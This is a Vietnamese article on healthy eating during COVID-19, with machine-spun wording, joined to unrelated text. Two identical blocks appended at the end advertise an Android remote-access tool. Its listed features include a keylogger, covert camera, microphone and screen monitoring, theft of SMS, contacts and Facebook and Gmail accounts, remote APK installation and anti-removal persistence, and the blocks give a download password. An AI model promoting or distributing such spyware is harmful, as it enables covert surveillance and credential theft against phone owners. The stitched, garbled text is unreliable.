Ẳn một cơ chế ẩm thực lành mạnh là rất cần thiết trong đại dịch COVID-19. những gì chúng ta ăn & uống hoàn toàn có thể tác động đến bản lĩnh ngăn ngừa, chống lại và hồi phục của cơ thể sau nhiễm trùng. dù rằng không có loại thực phẩm hoặc thực phẩm chức năng nào có thể ngăn ngừa hoặc chữa khỏi nhiễm trùng COVID-19, nhưng cơ chế siêu thị nhà hàng lành mạnh rất cần thiết để bổ trợ khối hệ thống miễn dịch. chính sách dinh dưỡng tốt cũng có thể làm giảm bản lĩnh cải cách và phát triển các vấn đề sức đề kháng khác, bao hàm béo phì, bệnh tim, tiểu đường và một trong những loại ung thư. đối với trẻ sơ sinh, một chính sách nhà hàng lành mạnh có nghĩa là bú mẹ hoàn toàn trong sáu tháng đầu, với việc trình làng những thực phẩm dinh dưỡng và bình yên để bổ sung sữa mẹ từ 6 tháng tuổi đến 2 tuổi trở lên. so với trẻ em, một cơ chế nhà hàng siêu thị lành mạnh & cân bằng là vấn đề quan trọng cho sự tăng trưởng và trở nên tân tiến. đối với các cụ ông cụ bà, nó rất có thể giúp bảo đảm an toàn cuộc sống đời thường khỏe mạnh và năng động hơn. Thói quen ăn uống lành mạnh khuyến nghị để duy trì một chế độ nhà hàng lành mạnh: 1. Ẳn nhiều loại thực phẩm, bao gồm trái cây and rau • mỗi ngày, ăn hỗn hợp ngũ cốc nguyên hạt như lúa mì, ngô và gạo, nhiều chủng loại đậu như đậu lăng & đậu, nhiều trái cây tươi và rau quả, với cùng một số thực phẩm từ nguồn động vật (ví dụ thịt, cá, trứng và sữa). • Chọn thực phẩm từ ngũ cốc nguyên hạt như ngô chưa qua chế biến, hạt kê, yến mạch, lúa mì & gạo lứt khi bạn có thể; chúng rất giàu chất xơ có giá trị and rất có thể khiến cho bạn cảm nhận thấy no lâu hơn. • so với món ăn nhẹ, nên chọn lựa rau sống, trái cây tươi và các loại hạt không ướp muối. 2. Cắt giảm lượng muối • hạn chế lượng muối ăn 5 gam (tương đương một thìa cà phê) từng ngày. • Khi nấu nướng và chế biến thức ăn, hãy hạn chế sử dụng muối and giảm sử dụng nước chấm & gia vị mặn (như xì dầu, nước mắm kho hoặc nước mắm). • Nếu sử dụng thực phẩm đóng hộp hoặc thực phẩm khô, hãy chọn nhiều chủng loại rau, quả hạch and trái cây, không thêm muối & đường. • Lấy bình lắc muối thoát khỏi bàn, không dừng lại ở đó, hãy thử với nhiều chủng loại thảo mộc and gia vị tươi hoặc khô để gia tăng hương vị. • check nhãn bên trên thực phẩm & chọn các dòng sản phẩm có hàm lượng natri thấp hơn. 3. Ẳn 1 lượng vừa phải chất béo và dầu • sửa chữa bơ, bơ sữa trâu and mỡ lợn bằng chất béo lành mạnh hơn hẳn như dầu ô liu, đậu nành, hướng dương hoặc ngô khi nấu ăn. • Chọn nhiều chủng loại thịt trắng như thịt gia cầm và cá thường ít chất béo thêm thịt đỏ; hạn chế ăn thịt chế biến sẵn. • Chọn các phiên bản sữa & các sản phẩm từ sữa ít béo hoặc giảm chất béo. • Tránh thực phẩm chế biến, nướng và chiên có chứa chất béo chuyển hóa được chế tạo công nghiệp. • Thử hấp hoặc luộc thay vì chiên thực phẩm khi nấu. 4. có hạn ăn đường • có hạn ăn đồ ngọt và đồ uống có đường như đồ uống có ga, nước hoa quả và đồ uống nước trái cây, nước cô đặc dạng lỏng và bột, nước có hương vị, nước tăng lực & đồ uống Thể Thao, trà và cà phê pha sẵn and đồ uống sữa có hương vị. • Chọn trái cây tươi thay vì đồ ăn nhẹ ngọt như bánh quy, bánh ngọt and sô cô la. Khi chọn lựa những món tráng miệng khác, hãy đảm nói rằng chúng ít đường và ăn theo khẩu phần nhỏ. • Tránh cho trẻ ăn thức ăn có đường. đừng nên thêm muối & đường vào thức ăn bổ sung cập nhật cho trẻ bên dưới 2 tuổi, and nên có hạn ngoài độ tuổi đó. 5. Giữ đủ nước: Uống đủ nước Hydrat hóa tốt là rất quan trọng để sở hữu sức đề kháng tối ưu. bất cứ bao giờ có sẵn and an ninh để chi tiêu và sử dụng, nước máy là thức uống lành mạnh mẽ nhất và rẻ nhất. Uống nước thay vì đồ uống có đường là cách đơn giản để hạn chế nạp vào cơ thể lượng đường and calo dư thừa. 6. Tránh sử dụng rượu ô nhiễm & vô ích Rượu không phải là 1 phần của cơ chế ăn uống lành mạnh. Uống rượu không bảo đảm an toàn khỏi COVID-19 and có thể nguy hiểm. Uống rượu tiếp tục hoặc quá nhiều sẽ làm tăng nguy cơ bị thương ngay lập tức, cũng như tạo ra các ảnh hưởng lâu bền hơn như tổn thương gan, ung thư, bệnh tim và bệnh tâm thần. không có mức tiêu thụ rượu an toàn. 7. Trẻ sơ sinh and trẻ nhỏ đang bú sữa mẹ Sữa mẹ là thức ăn lý tưởng cho trẻ sơ sinh. Nó an ninh, thật sạch sẽ & chứa các kháng thể giúp bảo đảm chống lại nhiều bệnh thông thường ở trẻ con. Trẻ nên đc bú sữa mẹ trọn vẹn trong khoảng thời gian nửa năm đầu đời, vì sữa mẹ hỗ trợ tất cả các chất dinh dưỡng & chất lỏng mà trẻ cần. • Từ 6 tháng tuổi, nên bổ sung cập nhật sữa mẹ bằng nhiều loại thức ăn đủ chất, an toàn và giàu chất dinh dưỡng. Nên thường xuyên cho trẻ bú sữa mẹ khi trẻ từ 2 tuổi trở lên. khuyến cáo về bình yên Thực phẩm trong COVID-19 không có vật chứng cho biết thêm COVID-19 có thể lây lan khi tiếp xúc với thực phẩm hoặc bao bì thực phẩm. COVID-19 thường được cho là lây từ người này sang người khác. tuy nhiên, điều quan trọng là phải triển khai dọn dẹp vệ sinh xuất sắc khi giải quyết thực phẩm để ngăn ngừa bất cứ bệnh truyền qua thực phẩm nào. Ẳn uống thực dưỡng tuân theo 5 chìa khóa của WHO để có thực phẩm bình yên hơn: Giữ thật sạch Sống and chín riêng lẻ Nấu kỹ Giữ thực phẩm ở nhiệt độ bình an Sử dụng nước and nguyên vật liệu an toàn.
Tested on Android : 5,6,7,8,9,10,11 Application Features : —— Manage : Files Sms contacts Calls Applications Accounts —— Monitor : Camera Live screen Microphone Keylogger Location Real time calls monitor —— Tools : Download apk and install Show message Open link Call number Phone info —– Social media Hunter: Facebook Gmail More coming soon —— Super mode : Anti-Kill Anti-Delete Realtime Monitor Active AppAuto Click Start Screen Record Anti shutdown phone ———————————-This is free version will not have Support —–Pass : BY_EVLF
Tested on Android : 5,6,7,8,9,10,11 Application Features : —— Manage : Files Sms contacts Calls Applications Accounts —— Monitor : Camera Live screen Microphone Keylogger Location Real time calls monitor —— Tools : Download apk and install Show message Open link Call number Phone info —– Social media Hunter: Facebook Gmail More coming soon —— Super mode : Anti-Kill Anti-Delete Realtime Monitor Active AppAuto Click Start Screen Record Anti shutdown phone ———————————-This is free version will not have Support —–Pass : BY_EVLF
